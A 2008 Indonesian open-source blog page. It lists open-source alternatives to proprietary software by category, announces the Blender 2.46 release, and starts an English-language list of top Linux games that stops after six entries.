ehud

Perangkat Lunak Bebas OpenSource

2008-06-17T23:29:00.000-07:00

Program Aplikasi Alternatif Open Source

Tidak semua program proprietary membuat orang pusing tujuh keliling. Salah satu contohnya tool yang sangat berguna seperti Norton Ghost bisa digunakan tanpa harus dipusingkan oleh masalah lisensi. Namun bukan hanya alasan tersebut yang membuat seseorang berpindah dari satu perangkat lunak kepada lainnya. Sebagaimana diketahui program proprietary membatasi kita hanya sebagai pemakai, tanpa diberi kesempatan untuk mengembangkan. Bagi developer program atau mereka yang suka otak-atik tentu ini sangat memusingkan.

Berikut program proprietary yang kami daftar berikut padanan program yang disediakan oleh komunitas opensource. Bagi anda yang tertarik untuk migrasi dari program berlisensi ke perangkat lunak bebas (freeware) opensource, berikut daftar selengkapnya :

Sistem Dasar

Sistem Operasi Windows Vista ke Ubuntu : Sistem operasi Microsoft ini bahkan mendapat reputasi buruk dari penggemarnya. Sistem Operasi Open source telah berkembang; hanya saja OS alternatif ini masih sulit diinstall, dioperasikan dan dipelajari oleh sebagian pengguna desktop pemula. Namun hal tersebut telah berubah seiring dengan berkembangnya Ubuntu sebagai OS GNU/Linux berbasis Debian yang bermetamorfosa sebagai desktop Linux yang mudah digunakan bahkan oleh pemula sekalipun. Tidak heran jika Ubuntu berada di urutan teratas di situs Distrowatch. Hanya perlu sedikit adaptasi dengan lingkungan desktop Linux. Saat ini Dell computer menyertakan Ubuntu Linux dalam paket penjualan komputernya dan telah terinstal sehingga bisa langsung digunakan. Bagi anda yang memiliki komputer butut, jangan khawatir karena komunitas GNU/Linux juga banyak yang mengembangkan sistem operasi ringan untuk komputer yang memiliki hardisk dan memory terbatas namun sangat memadai (lengkap) untuk kebutuhan sehari-hari, semisal DamnSmallLinux (50MB), Puppylinux-4.0 (87MB), Slitaz-1.0(25MB) dan lainnya.
Browser Internet Explorer ke Firefox : Tentu saja Internet Explorer (IE) bebas; karena memang sudah dalam satu paket sistem operasi Windows. Namun sifat bebas disini hanya sebatas menggunakan, berbeda halnya dengan open source software, dimana user memiliki kontrol lebih terhadap perangkat lunak tersebut. Dengan berbagai kelebihan yang ditawarkannya, browser open source seperti Mozilla Firefox, menjadi browser killer IE yang dapat diperluas fungsinya berkat ‘add-ons‘ yang banyak dibuat oleh pengembang dan usernya sendir.

Paket Office

Microsoft Office ke OpenOffice: Jika harga menjadi pertimbangan anda dalam menggunakan aplikasi perkantoran dan hendak migrasi dari Microsoft Office, coba pertimbangkan Office suite berikut. Bila anda juga memerlukan paket office yang menyertakan aplikasi email client selain word processor, spreadsheet, dan aplikasi presentasi multimedia, Google menyediakan paket ofice yang anda perlukan (didalamnya termasuk Gmail, Google Docs, Google Spreadsheet, Google Presentation dan lainnya). Namun, ada yang berargumentasi bahwa aplikasi tersebut tidak murni opensource. OpenOffice, sebuah proyek open source yang menyertakan segala yang anda perlukan persis sama seperti Microsoft Office terkecuali email client. Alternatif lainnya, namun sementara ini hanya tersedia untuk platform Linux adalah Koffice.
Mactopia ke NeoOffice: Microsoft office suite lainnya, namun buat komputer MacIntosh. Cobalah NeoOffice . NeoOffice® adalah seperangkat aplikasi office, didalamya terdapat word processing, spreadsheet, presentation, drawing, dan program database untuk Mac OS X. Office suite ini berbasis OpenOffice.org, tapi didalamnya sudah terintegrasi banyak sekali fitur Mac dan dapat mengimpor, mengedit, serta mengubah kedalam format file populer lainnya semisal Microsoft Office.

Tool Office

MathWorks MATLAB ke Scilab: MATLAB umumnya digunakan sebagai aplikasi komputasi numeris. Ia mempunyai sebuah bahasa pemrograman (script) yang dapat memvisualisasikan angka-angka kedalam grafik. Scilab adalah aplikasi alternatifnya dari open source, ia juga menyediakan visualisasi data numeris seperti MATLAB. Secara parsial, Scilab kompatibel dengan MATLAB, dan keduanya tersedia untuk Windows, Linux, dan UNIX.
Microsoft Access ke Kexi, OpenOffice.org Base : Microsoft Access merupakan tool untuk membuat aplikasi database dan pemeliharaan basis data kantor maupun personal. Access memiliki database engine sendiri, namun juga dapat terkoneksi dengan database lain menggunakan ODBC. Di lain pihak, user bisa mendesain form database, untuk manipulasi database dengan Kexi, seperti Access. Kexi juga memiliki database engine sendiri dan dapat mengimpor data ke Microsoft Access. Selain Kexi Openoffice.org juga memiliki aplikasi pengolah database serupa Access yang disebut Base. Menggunakan engine database HSQL yang katanya 10 kali lipat lebih cepat dari DB.
Microsoft Word ke OpenOffice Writer: Jika diatas telah disebut aplukasi office suite, berikut kita bahas satu-persatu kompoen didalamnya dimulai dari Writer. Writer adalah komponen pengolah kata paket software OpenOffice.org yang sepadan Microsoft Word, dan fitur-fiturnya juga hampir sama. Writer dapat digunakan pada berbagai platform, termasuk Mac OS X, Microsoft Windows, Linux, FreeBSD dan Solaris. Writer juga memiliki kemampuan mengekspor dokumen ke dalam file Portable Document Format (PDF) tanpa software tambahan, dan juga berfungsi sebagai editor WYSIWYG untuk pembuatan dan editing halaman web. Satu lagi nilai plus Wirter dibanding Word adalah bahwa Writer memiliki fungsi-fungsi dan format angka tabel-tabel Calc dalam tabelnya. Disamping itu, Abiword dapat dijadikan alternatif pengolah kata lainnya yang juga tersedia untuk berbagai platform. Ukurannya yang sangat kecil dan ringan namun cukup memadai sebagai pengolah kata sangat cocok digunakan pada komputer lama. Baik Writer maupun Abiword, keduanya mampu membaca, mengedit dan menyimpan dokumen teks dalam format MS Word. Kword juga dapat dijadikan pilihan untuk platform Linux.
Microsoft Excel ke OpenOffice Calc: Excel adalah produk lain Microsoft. Google Spreadsheet dapat digunakan secara online dan sharing data spreadsheet. Produk open source yang dapat menggantikan Excel adalah OpenOffice.org Calc. Aplikasi ini menyediakan fungsionalitas spreadsheet termasuk sejumlah fungsi-fungsi statistik dan scientific, pivot table dan chart. Ada pilihan lain yang disediakan oleh komunitas opensource selain Calc yaitu Gnumeric. Aplikasi berbasis GTK+ ini menggunakan engine R yang banyak digunakan untuk pengolahan data statistik dan memiliki fitur-fitur olah data statistik juga. Menurut pengembangnya R dikenal sangat akurat dalam hal kalkulasi data numeris.
Microsoft PowerPoint ke OpenOffice Impress: Anda dapat berpindah dari tool buatan Microsoft ini dengan menggunakan Google Presentation atau OpenOffice.org Impress. Kedua tool tersebut merupakan aplikasi presentasi dengan segudang fitur sehingga pemakai dapat membuat dan memodifikasi slide presentasi dengannya.
Microsoft Visio ke Dia: Visio merupakan aplikasi yang sangat bagus untuk mengatasi kompleksitas manipulasi teks dan tabel menjadi sebuah diagram. OpenSource menyediakan alternatifnya yaitu Dia, sebuah aplikasi diagram di Linux berbasis GTK+, yang tersedia pula untuk Unix clone dan Windows dibawah lisensi GPL.

Produktifitas

Blackboard ke Moodle: Blackboard telah menjadi standar industri CMS (Course Management System) untuk keperluan pendidikan pada umumnya. Aplikasi ini dapat digunakan instruktur untuk membangun sistem kursus, mengatur tugas-tuas siswa, dan banyak lagi. Moodle telah berkembang sebagai alternatif Blackboard buatan open source, sehingga sangat membantu tenaga pendidik untuk mengadakan kegiatan belajar mengajar secara online.
Box ke Cabos: Jika anda pengguna file sharing, anda mungkin pernah mendengar Box.net, atau pernah menggunakannya. Tidak hanya bisa sharing file, Box juga dapat menyimpan file anda dengan aman secara online, sehingga dapat diakses dari mana saja kapan saja, menggunakan PC, ponsel atau perangkat mobile lainnya. Cabos, adalah program file sharing open source, dengan interface sidebar sederhana, firewall to firewall transfer, proxy transfer, Universal Plug dan Play, iTunes + iPod integration, “apa ada yang baru?” mesin pencari, dan banyak lagi. Anda memerlukan Windows 2000 atau yang lebih baru. Mac OS X 10.2.8 atau diatasnya. Mac OS 8.6 keatas.
Microsoft Project ke Open Workbench: Microsoft Project memungkinkan penggunanya untuk mengontrol sebuah proyek, jadwal dan keuangannya, dan secara efektif menyampaikan data proyek kepada pengguna lainnya. Tapi, tentunya anda harus membayar lisensinya kepada Microsoft. Gunakan Open Workbench yang memiliki fitur serupa Microsoft Project dan bebas digunakan. Jika membutuhkan desktop scheduling bagi sebuah workgroup, divisi atau solusi enterprise, bisa diupgrade ke CA’s Clarity™ system, sebuah project dan portfolio management system yang menawarkan integrasi dua arah dengan Open Workbench.
Mindjet ke FreeMind: Pemetaan pikiran adalah suatu cara untuk bertukar ide antar personal dan group untuk tujuan produktifitas. Jenis aktifitas ini menghabiskan waktu, namun juga menghemat waktu. Jadi kenapa harus membeli untuk sebuah produk semacam ini jika ada FreeMind?

Program Grafis

Adobe Illustrator ke Inkscape: Vector drawing dari Adobe ini merupakan salah satu yang terbaik dalam industri desain grafis selain CorelDraw dan Freehand. Bagi anda yang tidak memiliki cukup dana untuk membeli Illustrator, cobalah Inkscape , sebuah editor vector grafik open source serupa Illustrator, CorelDraw, atau Xara X. Inkscape menggunakan format file standar W3C Scalable Vector Graphics (SVG) dan mendukung banyak fitur-fitur SVG generasi berikutnya (markers, clones, alpha blending, dll.). Interface yang sederhana sehingga mudah digunakan untuk editing nodes, path, trace bitmap dan banyak lagi. Xara X telah diporting ke Linux dan menjadi aplikasi freeware karena dikembangkan oleh komunitas opensource dan menjelma menjadi Xara-Xtreme.
Adobe PhotoShop ke GIMP: Anda pasti mengenal aplikasi olah gambar berikut. Namun harganya yang selangit mungkin menjadi penghalang para fotographer dan desainer grafis. GIMP merupakan aplikasi opensource setara PhotoShop yang dapat digunakan untuk segala keperluan fotografi dan desain grafis bahkan animasi. GIMP akronim dari GNU Image Manipulation Program.
Adobe Premiere ke Avidemux: Premier merupakan video editing real-time non-linear untuk berbagai format termasuk High Definition (HD). Mendukung resolusi warna 16-bit, GPU accelerated rendering untuk special-effect yang lebih cepat bahkan DVD authoring. Disamping itu semua, Avidemux merupakan tool opensource untuk konversi dan editing DVD/DivX yang tersedia untuk pengguna Windows, Mac, dan Linux. Avidemux juga memiliki dukungan scripting untuk otomatisasi bahkan sebagai DVD authoring menggunakan aplikasi tambahan opensource lainnya, dvdauthor.
AutoCAD ke Archimedes: AutoCAD merupakan tool dari AutoDesk yang digunakan oleh banyak designer untuk membuat desain sektsa (konsep) – umumnya dalam bidang arsitektur. Archimedes adalah salahsatu alternatif open source computer aided design (CAD) yang khusus dikembangkan untuk desain arsitektur.
Microsoft Paint ke Tux Paint: Program sederhana ini umumnya digunakan oleh anak-anak untuk belajar menggambar di komputer. Tux Paint serupa Paint di windows, merupakan produk open source yang didesain untuk anak-anak yang memberikan kemudahan pengoperasian dan sangat intuitif.
TruSpace ke Blender: Caligari memberikan sebuah produk untuk membuat gambar 3D bagi para desainer artistik – dgn harga yang sangat tinggi. Produk pengolah obyek 3D lainnya semacam 3DSMax dan MAYA pun demikian. Blender, memiliki kemampuan multiresolusi tinggi sculpting bitmap 2D/3D, procedural brushes (Paint, Smooth, Pinch, Inflate, Grab) secara simmetris, dan masih banyak lagi fitur untuk membuat, mengedit objek 3D bahkan animasi yang disediakan oleh Blender sebagai salah satu software open source yang bebas didownload dan digunakan.

Editor Web

Adobe GoLive CS2 ke Mozilla SeaMonkey: GoLive merupaka bagian dari Adobe Creative Suites, sehingga dapat digunakan dengan dokumen InDesign dan mengkonversinya menjadi halaman Web. Mungkin anda ingin mencoba Mozilla SeaMonkey sebelum anda memutuskan untuk memakai Adobe suite sebagai pilihan. Mozilla SeaMonkey project menyertakan sebuah Web-browser, email dan newsgroup client, program HTML authoring dan IRC chat client. Composer sederhana namun mampu menangani tabel, CSS, layer presisi, frame, dan banyak lagi dengan mudah. Add-ons Scribefire juga tersedia, sebagai blog editor yang terintegrasi dengan browser sehigga memudahkan untuk posting blog.
Adobe Dreamweaver ke NVU: Tool WYSIWYG (What You See Is What You Get) yang sangat powerful sebagai HTML editor. NVU (pronounced N-view, for a “new view”) adalah Web Authoring System yang lengkap untuk Linux Desktop sebagaimana rivalnya di Microsoft Windows, FrontPage dan Dreamweaver. Anda dapat menggunakan NVU untuk membuat halaman Web dan memanage sebuah Website tanpa memerlukan keahlian teknis atau pengetahuan tentang HTML.
Macromedia Flash Professional ke OpenLaszlo: Pengembang menggunakan Flash untuk membuat property multimedia pada Web. Sejak program ini berbasis vector-graphic, ia menyediakan fungsionalitas melebihi yang dibayangkan sebelumnya pada Web. Sebagai sebuah produk open source, OpenLaszlo memberikan developer sebuah platform untuk membuat aplikasi Web dasar sebagai sebuah desktop client software. Dengan kata lain, OpenLaszlo dapat dikembangkan pada sebuah mesin (komputer pc) dan dapat dijalankan pada semua Web browsers pada semua desktop. Aplikasi ini semacam Flash, memiliki fitur animasi, layout, data binding, server communication dan masih banyak lagi.
Microsoft FrontPage ke Bluefish: Walaupun tidak sebaik Dreamweaver, FrontPage merupakan aplikasi proprietary yang banyak digunakan untuk membuat halaman Web. Lihatlah sejenak daftar ini agar anda tahu bahwa banyak sekali pilihan lain editor HTML open source selain FrontPage. Bluefish adalah salah satunya.
Windows Notepad ke ConTEXT: Ya, inilah editorHTML serbaguna yang benar-benar FREE. Ketika anda membeli Windows versi 2.0 keatas aplikasi ini sudah include. Open source juga memilik padanannya, ConTEXT . Applikasi ini kecil, cepat dan powerful sebagai sebuah teks editor freeware programmer, sebagai tool sekunder bagi developer.
Altova XMLSpy ke XML Copy Editor: XMLSpy adalah salah satu editor XML paling populer saat ini. Fitur editing, dukungan schema dan DTD development disamping XSLT, XQuery dan XPath development menjadikannya tool XML yang istimewa. Sebagai sebuah alternatif dari open source, XML Copy Editor merupakan editor XML, terutama difokuskan pada teks editor file XML. Walaupun demikian, XML Copy Editor menyediakan banyak fitur lainnya termasuk validasi DTD dan XML schema - sebagaimana XSLT dan XPath dengan tag-free editingnya. Keduanya merupakan tool under Windows.

Publishing

Adobe Acrobat ke PDFCreator: Bisa saja anda menggunakan versi trial Adobe acrobat untuk membuat file PDF. Namun, PDFCreator dapat membuat file PDF dari program Windows apapun yang terinstal. Penggunaannya seperti menggunakan printer pada Word, StarCalc atau aplikasi Windows lainya.
Adobe Framemaker ke DocBook: Adobe Framemaker merupakan perangkat authoring dan publishing bagi orang teknis yang ingin menulis dan mempublikasikan dokumentasi teknis dalam beberapa bahasa. Software ini dapat diandalkan, demikian halnya DocBook, tool publishing open source. Apalagi, dengan Docbook anda dapat mengakses ke semua free wiki dan dokumentasinya yang memberi petunjuk bagaimana menginstall, menggunakan, dan kustomisasi tool dengan stylesheet.
Microsoft Publisher ke Scribus: Sebagai sebuah Desktop Publishing (DTP), Microsoft Publisher memberikan kontrol lebih atas elemen dokumen lebih daripada Microsoft Word melalui pendekatan DTP-oriented. Bagaimanapun, pengguna profesional masih mempertimbangkan program ini sebagai aplikasi entry-level. Sejak ia menjadi bagian dari paket Microsoft Office, bagi kebanyakan pengguna harga tidak lagi menjadi persoalan sejauh ini. Scribus menawarkan sebuah alternatif DTP opensource. Scribus mendapatkan penghargaan award-winning professional page layout untuk Linux/Unix, MacOS X, OS/2 dan Windows. Menggunakan suatu kombinasi “press-ready” output dan pendekatan baru bagi desain page layout. Scribus mendukung fitur-fitur publishing profesional, seperti warna CMYK, separasi, ICC color management dan pembuatan PDF.

Komunikasi

AIM ke Pidgin: AIM, AOL’s Instant Messenger, tidak lagi populer. Alternatifnya dari open source adalah Pidgin, sebuah client Instant Messaging multi-protocol yang dapat digunakan untuk berbagai account IM sekaligus. Tidak masalah anda menggunakan Windows, Linux, BSD, dan Unix lainnya. Anda bisa ngobrol dengan teman anda yang menggunakan AIM, ICQ, Jabber/XMPP, MSN Messenger, Yahoo!, Bonjour, Gadu-Gadu, IRC, Novell GroupWise Messenger, QQ, Lotus Sametime, SILC, SIMPLE, MySpaceIM, dan Zephyr. Bisakah AIM melakukannya?
FeedDemon to RSS Bdanit: FeedDemon for Windows secara tetap melakukan pencarian melalui feed search engines menggunakan keyword-generated sebagaimana sistem mesin pencari pada umumnya. Ia juga dapat membaca secara offline menggunakan ‘prefetch’ langganan anda. NewsGator juga sinkron dengan FeedDemon jadi anda dapat meningkatkan akses berita. Pengecualian bahwa FeedDemon bukan open source, ia cukup ideal sebagai bacaan sehat. Bagi anda yang fanatik open source, RSS Bdanit setara FeedDemon sebagai RSS dan Atom reader yang memungkinkan anda tetap mendapatkan berita secara up to date. Halaman beritanya bisa di customize dan templatenya kompatibel dengan FeedDemon. Tambahan, RSS Bdanit bisa disinkronkan dengan NewsGator online. RSS Bdanit juag menyediakan akses berita pada server-server berita (serupa Google Group) - menggunakan NNTP untuk membaca dan posting ke newsgroup dimana saja dalam jaringan. Ia terintegrasi dengan Google Group memanfaatkan link posting di websitenya.
Microsoft MSN Messenger ke aMSN: Microsoft menawarkan MSN Messenger kepada publik sebagai freeware buat Windows, dan ia berkembang dari sebuah applikasi IM sederhana menjadi trendsetter dalam pasar yang kompetitif. Fitur-fitur termasuk suara dan video chatting, gaming, remote – disamping koneksi melalui perangkat mobile. aMSN, merupakan aplikasi opensource Windows alternatif bagi MSN, aims serta mimic yang menjadi kompetitor proprietary. Selebihya fitur tambahannya menggunakan plug-ins. Anda dapat menambahkan dukungan POP3 email dan translasi, voice klip, Webcam, Chat logs, Konferensi dan banyak lagi.
Microsoft Outlook ke Thunderbird: katakanlah anda memutuskan untuk berpidah ke OpenOffice, tapi anda juga memerlukan sebuah email client pengganti Microsoft Outlook. Cobalah Mozilla Thunderbird, dengan interface serupa dan mudah dalam penggunaan sehari-hari. Apalagi, anda dapat menggunakan Lightning agar dapat terintegrasi dengan aplikasi kalender Mozilla Sunbird.
Skype ke Wengophone: Skype adalah aplikasi freeware VoIP (Voice over IP) yang sangat tangguh dalam industri telekomunikasi internet. Berawal dari sistem telepon secara bebas PC-to-PC, hingga saat ini menawarkan integrasi penuh dengan sistem telepon yang telah ada sebelumnya (telepon kabel/GSM/CDMA). Skype juga memiliki fitur voicemail, video conversation dan SMS. Alternatif dari open source, WengoPhone, juga bisa telp secara bebas PC-to-PC, chat dan video conference. Dibuat oleh Wengo, juga menyediakan fitur SMS dan call-out sehingga pengguna dapat berkomunikasi dengan sistem telp kabel (lokal)/mobile yang tentunya tidak gratis.

MultiMedia

iTunes ke Songbird: Siapa yang tidak kenal iTunes, player multimedia buatan Apple Computer. Songbird adalah player open source setara iTunes dan sebuah platform yang dapat “memainkan musik yang ada inginkan + dari situs manapun + pada perangkat apapun.”
Nero Burning Rom ke K3b: Nero Burning Rom adalah tool populer untuk burning CD, DVD dan disk Blu-ray. Software ini menyertakan backup, copy cd, audio dan lainnya, dan mudah dalam penggunaan. Tapi, bukan produk open source seperti K3b (Windows). K3b dapat digunakan untuk membuat dan burning CD dan DVD, termasuk ripping dengan DivX/XviD encoder, copy DVD, burning ISO, membuat Video CD (VCD), Audio CD untuk hampir semua format file audio, mendukung CD-TEXT untuk audio CD, mendukung DVD-RW dan DVD+RW dan banyak lagi.
Quicktime ke Darwin Streaming Server: Apple QuickTime 7 Pro sangat bagus untuk membuat podcast hingga transcoding media kedalam berbagai format, dan software ini tidak semahal produk lain. Tapi, kenapa tidak menggunakan aplikasi open source yang mempunyai basis kode sama seperti Quicktime Streaming Server? Darwin Streaming Server adalah sebuah proyek open source yang sempurna bagi developer yang ingin membuat media streaming QuickTime dan MPEG-4 pada platform seperti Windows, Linux, dan Solaris.
TiVo Desktop ke Galleon.tv: Pengguna Tivo-to-Go kecewa karena tidak bisa digunakan dengan Windows Vista. Salah satu solusinya adalah menggunakan open source software, Galleon daripada harus membenahi Tivo atau Windows Vista. Galleon adalah sebuah open source media server untuk TiVo® DVR dimana anda dapat menikmati beragam content dan aplikasi interaktif di TV.
Windows Media Player ke Miro: WMP sepertinya ada dimana-mana. Miro, sebuah program open source yang akan membawa anda ke dunia TV internet. Miro memiliki 2,500 unrestricted channel dengan beragam pilihan content HD. Ditambah lagi, anda memiliki akses ke berbagai publisher dengan video RSS feed, termasuk YouTube, Revver, Blip, dan many, many more.
CoolEditPro ke Audacity: Cooleditpro merupaka aplikasi pengolah suara standar yang bayak digunakan. Opensource project menyediakan padanannya, Audacity. Fitur-fitur standar sebagai pengolah suara, merekam, dukungan 16-bit hingga 32-bit, filter serta efek suara yang lengkap dan banyak lagi.

Utilitas

CuteFTP ke Filezilla: CuteFTP memang mungil dan handal, namun tidak free. Namun banyak pilihan aplikasi File Transfer Protocol lainnya. Filezilla, FTP dan SFTP client yang tangguh untuk Windows dengan banyak fitur – mudah diinstall dan digunakan, handal, aman, dan open source.
iBackup ke ZMdana: Siapa yang anda percaya perihal backup file? Sulit memutuskan, karena tidaklah penting. Anda ingin safe, server reliable atau tools yang dapat menjaga backup anda selalu ada dan utuh. iBackup telah terbukti tangguh melakukan tugasnya, tapi mungkin anda bisa melihat sebentar ZMdana . Solusi open source ini telah melindungi lebih dari setengah juta server dan desktop yang menggunakan berbagai varian Linux, UNIX, BSD, Mac OS-X dan Microsoft Windows. Tidak hanya sebagai otomatiasasi backup, namun juga mampu melakukan recovery dengan baik.
Norton Ghost ke Partition Image: Norton Ghost bukanlah backup system yang jelek, tool lengkap untuk berbagai kerperluan backup. Jika disk anda gagal berfungsi, Norton Ghost mampu mengembalikannya seperti semula. Jika anda pecinta open source, Norton Ghost bukanlah segalanya. Anda memerlukan sesuatu seperti Partition Image (Linux) atau Ghost for Unix (G4U) untuk Windows atau Unix. Kedua tool diatas adalah disk cloner yang cara kerjanya beda, namun setangguh Norton Ghost. (untukmendapatkan sistem rescue disk lengkap termasuk Partition Image coba lihat SystemRescueCd).
Rational Purify ke Valgrind: IBM Purify adalah tool untuk debugging. Ia tangkas mendeteksi memory corruption dan memory leak untuk menangkap secara menyeluruh bug dari setiap program aplikasi. Sebagai sebuah alternatif open source, Valgrind juga mampu mendeteksi leak dan error pemrograman terkait memory lainnya. Namun, ia juga mendeteksi threading bug dan memasukkan sebuah call-graph profiler bilamana menemukan bottlenecks dalam sebuah kode pada threading bug tadi.
WinZip ke 7-Zip: Urusan kompresi file pasti kita sering mengunakan zip. Namun, ada baiknya anda mencoba 7-Zip .

Sistem Keamanan

Kaspersky Anti-Virus Personal ke Winpooch: Kaspersky Anti-Virus mungkin produk papan atas di pasaran untuk tool anti-virus berbasis Windows, sebagian besar alasanya karena kecepatan sistem deteksi yang menonjol. Ia mampu melakukan banyak tugas sekaligus; melawan virus, script virus, memeriksa arsip file (semisal file zip) dan membuang virus dari mail. Ia juga melakukan proteksi melawan spyware sebaik adware. Sebagai alternatif open source, Winpooch juga mampu scanning file di komputer, memeriksa malware, dan mencegah semua virus, trojan horse dan masalah lainnya yang tertangkap Kaspersky dengan baik. Winpooch, memiliki kemampuan real-time scanning yang tidak dimiliki ClamWin.
McAfee VirusScan ke ClamWin: McAfee merupakan salah satu perusahaan tertua dipasaran anti-virus. Nilai plus dari McAfee adalah ia reliable dan memberikan dukungan 24/7. Sayang sekali ia bukan open source. ClamWin, disisi lain, adalah Antivirus free untuk Microsoft Windows 98/Me/2000/XP/2003/Vista. Fitur-fiturnya meliputi kecepatan deteksi, scheduler, download update otomatis dan plug-in untuk Microsoft Outlook. Sebagaimana disebut diatas, ClamWin tidak memiliki fitur real-time scanning, tapi dapat dikombiasikan dengan WinPooch.
Norton Personal Firewall ke WIPFW: Banyak orang dapat berkerja dengan dengan Norton sambil tidur. Hal ini dimungkinkan karena Norton Personal Firewall akan memonitor dan memeriksa semua trafik Internet dan akan menolak attack atau percobaan intrusi. Popup dimana-mana dan izin akses merupakan bagian dari sebuah permainan di internet. Sebagai alternatif, WIPFW adalah sebuah firewall untuk Windows dan IPFW untuk FreeBSD UNIX. Ia memiliki fitur-fitur serupa, fungsionalitas, dan user interface seperti Norton Personal Firewall. perbedaannya? WIPFW open source.

Keuangan

Authorize.net ke OpenSSL: Authorize.Net memakai koneksi sistem berbayar, Advanced Integration Menthod (AIM), menyediakan kustomisasi dan kemanan tingkat tinggi bagi merchant untuk pengiriman transaksi online. Buat apa membayar untuk sebuah secure SSL jika anda bisa mendapatkan produk serupa secara gratis? OpenSSL Project adalah karya kolaboratif untuk mengembangkan toolkit opensource yang memanfaatkan protokol Secure Sockets Layer (SSL v2/v3) dan Transport Layer Security (TLS v1) yang robust, berkelas, multi fungsi. Komunitas dunia dan sukarelawan memanfaatkan internet untuk berkomunikasi, membuat rencana, dan mengembangkan toolkit OpenSSL dan dokumentasi terkait.
Microsoft Money (Plus) ke TurboCash: Ketika Microsfot Money Plus lebih dari sekedar software akuntansi personal, Turbocash bisa sombong dan mengklaim lebih lagi. Turbocash open source dan bebas digunakan. Faktanya, anda lebih ingin membandingkan TurboCash dengan Quickbooks daripada Microsoft Money. Bagaimanapun, sebagai tool keuangan personal, TurboCash lebih user-friendly dibandingkan Compiere.
Quickbooks ke Compiere: Sebagian orang tidak cukup familiar dengan Quickbooks, ia memang didesain untuk usaha kecil-menengah. Jika anda berpikir kecil kemungkinan untuk berpindah, coba pikir sekali lagi. Compiere, dibuat oleh Global Era, memberikan sebuah solusi bagi open source ERP (Enterprise Resource Planning) dan CRM (Customer Relationship Management) untuk usaha kecil-menengah.

Big Bug Bunny

2008-05-31T08:17:00.000-07:00

Bebeberapa waktu yang lalu (19 mei 2008) "Bunny release" telah lahir. pada versi ini mendukung banyak sekali fitur unggulan diantaranya :
- hair and fur
- particle system yang direcode ulang dari dasar
- image browsing
- cloth simulation
- glossy reflections
- render baking dan pipeline
- soft shadow
dan seabrek fitur lainnya, wuih banyak banget liat aja sendiri deh di sini untuk keterangan selengkapnya http://www.blender.org/development/release-logs/blender-246/

25 Games GNU/LinuxTeratas 2008

2008-05-21T13:01:00.000-07:00

Bagi anda pecinta dunia permainan (games) komputer mungkin selama ini yang ada dalam pikiran kita hanya games under windows. Bagaimana dengan platform linux, yang notabene opensource dan dalam banyak kasus bersifat bebas (dalam harga dan modifikasi). Bila ada begitu banyak games under linux yang gratis, mengapa anda buang-buang waktu dan uang untuk mendapatkan games bajakan?
berikut adalah 25 daftar games teratas 2008 yang dapat dijalankan di Linux bahkan di platform lainnya.

Spring - (Linux, Windows) If you’re looking forward to 2008 rather than backward to 2007, then look to Spring (also known as TA Spring or Total Annihilation: Spring) as the open source game of the year. TA Spring currently can execute most of Total Annihilation’s original gameplay flawlessly with its original units in their original format. Large battles are limited only by your computer’s power, with support for up to 5,000 units. You’ll wage those battles on large, highly detailed 3D maps with camera modes that allow you to view the battle scene from almost any angle. Games are played using one of a number of mods. Price: The core game is released under GPL License. Fortunately as of now, there are also two mods which have been released under the GNU/GPL, and several more which do not have clear licence terms (owned by their modder). However, there are also several mods for which some parts are still under copyright of Atari. For these you need to own the original TA game if you want to play.Download.
Tremulous - (Linux, Windows, Mac) This is a free open source team-based first-person shooter (FPS) with a game play similar to Gloom for Quake 2. NS. Tremulous features a two team FPS, humans and aliens, each with their own strengths and weaknesses. Players on both teams are able to build working structures in-game RTS elements. The overall objective behind Tremulous is to eliminate the opposing team. This is achieved by not only killing the opposing players but also removing their ability to respawn by destroying their spawn structures. The game has been downloaded over 200,000 times. It was voted “Player’s Choice Standalone Game of the Year” in Mod Database’s “Mod of the Year” 2006 competitio, and it placed fifth in the annual Moddb.com competition among Indie games in 2007. This, despite the fact that a new version hasn’t been released since early 2006. Price: Free.Download (Linux, Windows) Download (Mac).
FreeCiv - (Linux, Windows, Mac) The open source game FreeCiv begins in prehistory where your mission is to lead your tribe from the stone age to the space age. This game is similar to the popular PC Civilization series created by Sid Meier. Freeciv is a turn-based multiplayer strategy game, in which each player becomes the leader of a civilization that fights to become the greatest civilization in history. Your goal is to build cities, collect resources, organize your government, and build an army. This is probably one of the most addictive and widely acclaimed open source empire-building strategy games around. The game supports three rulesets, an almost mind-numbing array of features, tweaks, and options, along with a set of unofficial options that will keep you busy for the rest of your life. The game is so popular that it’s been translated into twenty-nine different languages. Freeciv supports up to 30 players and LAN/Internet play. Price: Free. Download.
Nexuiz - (Linux, Windows, Mac) Nexuiz has been in development for close to 5 years by a team of amateur developers called Alientrap, lead by Lee Vermeulen. Their goal is to create fun action games that remain free, yet that compete with commercial game titles. Nexuiz is a 3d deathmatch game made entirely over the internet. The purpose of the game is to bring deathmatch back to the basics, with perfect weapon balancing and fast paced action, keeping itself away from the current trend of realistic shooters. It uses HFX textures by Evil Lair, and currently has 27 maps to frag in. With an advanced UI, the user can select between 15 different player models to use, with an average of two skins for each, and can connect to a master server to play people from all over the world. This game is an open source, cross platform, first person shooter. The current version, 2.2.3, was released in January 2007. Price: Free. Download.
Alien Arena - (Linux, Windows) Alien Arena’s real-time turn-based strategy action has been frantic, fast, and fun. The game contained a single player campaign, but the multi-player action was outstanding. Why are we speaking in the past tense? Because gamers now can enjoy version 6.10 of Alien Arena, with major changes, enhancements, and surprises. Alien Action first was released in October, 2004. Since that initial release, nearly every aspect of the game has been revamped. It’s like an entirely new game. The newest version includes seven brand new arenas with sound, a more balanced and responsive weapon set (including a new weapon - the Violator!), and the ability to 1-to-1 through a duel mode. Input and netcode are improved, resulting in fluid gameplay even at 150+ pings. Last, but not least, CURL is implemented, allowing for much faster map and content downloads. Price: Free. Download (If you already have Alien Arena 2007, you will need to install version 6.10 over top of your existing installation in order to patch it.)
Battle For Wesnoth - (Linux, Windows, Mac) Fight a desperate battle to reclaim the throne of Wesnoth, or take hand in any number of other adventures in the just-released version 1.3.15. The game is set in a fantasy environment with 16 races and 6 factions. There are over 200 units which yield different types of weapons and abilities. There are six major races available to the player. These include humans, elves, orcs, dwarves, undead and drakes. As the game progresses, the player can ally with other races such saurians, merfolk, nagas, ogres, trolls and woses. The game supports online play for you to challenge up to 8 of your friends. Some players will prefer Wesnoth over Freeciv due to its accessibility. The Web site alone is entertaining, with a history of the game and of Wesnoth, along with characterizations, location descriptions and more. Price: Free. Download.
